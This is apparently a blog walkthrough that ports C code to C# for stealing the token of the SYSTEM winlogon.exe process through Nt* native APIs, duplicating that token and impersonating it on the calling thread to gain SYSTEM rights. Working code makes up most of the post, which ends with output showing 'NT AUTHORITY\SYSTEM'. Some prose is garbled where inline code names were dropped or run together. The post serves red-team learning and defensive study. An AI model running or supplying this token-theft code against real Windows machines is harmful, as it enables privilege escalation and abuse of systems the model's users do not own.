Using C# to steal tokens and gain system permissions

28 Views
No Comments

Intro

Grzegorz Tworek recently published some C code demonstrating how to steal and impersonate Windows tokens from a process. The standard way to do this is with the OpenProcess, OpenProcessToken, DuplicateTokenEx, and ImpersonateLoggedOnUser APIs. Grzegorz shows how to achieve the same using Nt* APIs, specifically NtOpenProcess, NtOpenProcessToken, NtDuplicateToken, and NtSetInformationThread.

Using C# to steal tokens and gain system permissions

Because I’m a C# junky, I ported part of his code. This post will serve as a short walkthough on how to“getsystem”by stealing and impersonating the token of a SYSTEM process. The high-level steps are:

  1. Obtain a handle to the target process.
  2. Obtain a handle to that target’s process token.
  3. Duplicate the target’s process token.
  4. Apply that duplicated token to our calling thread.
  5. Close all obtained handles.

NtOpenProcess

A common process to target is the Windows log-on application, .winlogon.exe

// find a winlogon process
// there may be more than 1 if multiple users are logged on
using var winlogon = Process.GetProcessesByName("winlogon").First();

HANDLE hProcess;

var oa = new OBJECT_ATTRIBUTES();
var cid = new CLIENT_ID
{UniqueProcess = new HANDLE((IntPtr)winlogon.Id)
};

// open handle to winlogon
NtOpenProcess(
    &hProcess,
    PROCESS_QUERY_LIMITED_INFORMATION,
    &oa,
    &cid);

NtOpenProcessToken

Use the process handle to obtain the process’thread token.

HANDLE hToken;

// open handle to winlogon's process token
NtOpenProcessToken(
    hProcess,
    TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
    &hToken);

NtDuplicationToken

Before being able to duplicate the token, create a new struct.SECURITY_QUALITY_OF_SERVICE

var qos = new SECURITY_QUALITY_OF_SERVICE
{Length = (uint)Marshal.SizeOf<SECURITY_QUALITY_OF_SERVICE>(),
    ImpersonationLevel = SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
    ContextTrackingMode = 1,    // SECURITY_DYNAMIC_TRACKING
    EffectiveOnly = false
};

And a new struct which points to .OBJECT_ATTRIBUTESSECURITY_QUALITY_OF_SERVICE

oa = new OBJECT_ATTRIBUTES
{Length = (uint)Marshal.SizeOf<OBJECT_ATTRIBUTES>(),
    SecurityQualityOfService = &qos
};

Now duplicate the token.

HANDLE hDupToken;

NtDuplicateToken(
    hToken,
    MAXIMUM_ALLOWED,
    &oa,
    SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
    TOKEN_TYPE.TokenImpersonation,
    &hDupToken);

NtSetInformationThread

Once the token has been duplicated, apply it to our own process’thread. Note that or is a pseudo-handle.-20xfffffffffffffffe

var hCallingThread = new HANDLE((IntPtr)(-2));

// set current thread
NtSetInformationThread(
    hCallingThread,
    THREAD_INFORMATION_CLASS.ThreadImpersonationToken,
    &hDupToken,
    (uint)Marshal.SizeOf<HANDLE>());

GetTokenInformation

We can go a step further to validate that the token was applied by calling on our own process to obtain a handle to its thread token. This can be passed to , specifying the information class. This will return a structure which contains a pointer to the SID of the token’s user.NtOpenThreadTokenGetTokenInformationTokenUserTOKEN_USER

HANDLE hThreadToken;

NtOpenThreadToken(
    hCallingThread,
    TOKEN_QUERY,
    false,
    &hThreadToken);

uint returnLength;

GetTokenInformation(
    hThreadToken,
    TOKEN_INFORMATION_CLASS.TokenUser,
    null,
    0,
    &returnLength);

// allocate buffer
var buffer = Marshal.AllocHGlobal((int)returnLength);

GetTokenInformation(
    hThreadToken,
    TOKEN_INFORMATION_CLASS.TokenUser,
    buffer.ToPointer(),
    returnLength,
    &returnLength);

// read token user
var lpTokenUser = (TOKEN_USER*)buffer.ToPointer();

// translate to nt account
var identity = new SecurityIdentifier((IntPtr)lpTokenUser->User.Sid.Value)
    .Translate(typeof(NTAccount));

// free buffer
Marshal.FreeHGlobal(buffer);

Console.WriteLine($"Thread token: {identity.Value}");

This prints:

Thread token: NT AUTHORITY\SYSTEM

Cleaup

Just close handles.

NtClose(hProcess);
NtClose(hToken);
NtClose(hDupToken);

Conclusion

Grzegorz goes into a little more detail by calling to ensure that certain privileges are enabled within the current process. I skipped over this step because I assume they’re already enabled by default when running in a high-integrity process. I certainly encourage you to read Grzegorz’s original code: https://github.com/gtworek/PSBits/blob/master/Misc/TokenStealWithSyscalls.c.NtAdjustPrivilegesToken

All of the methods, structs, and enum’s etc used within this post can be found GitBook, pinvoke.dev.

END
 0
Comment(No Comments)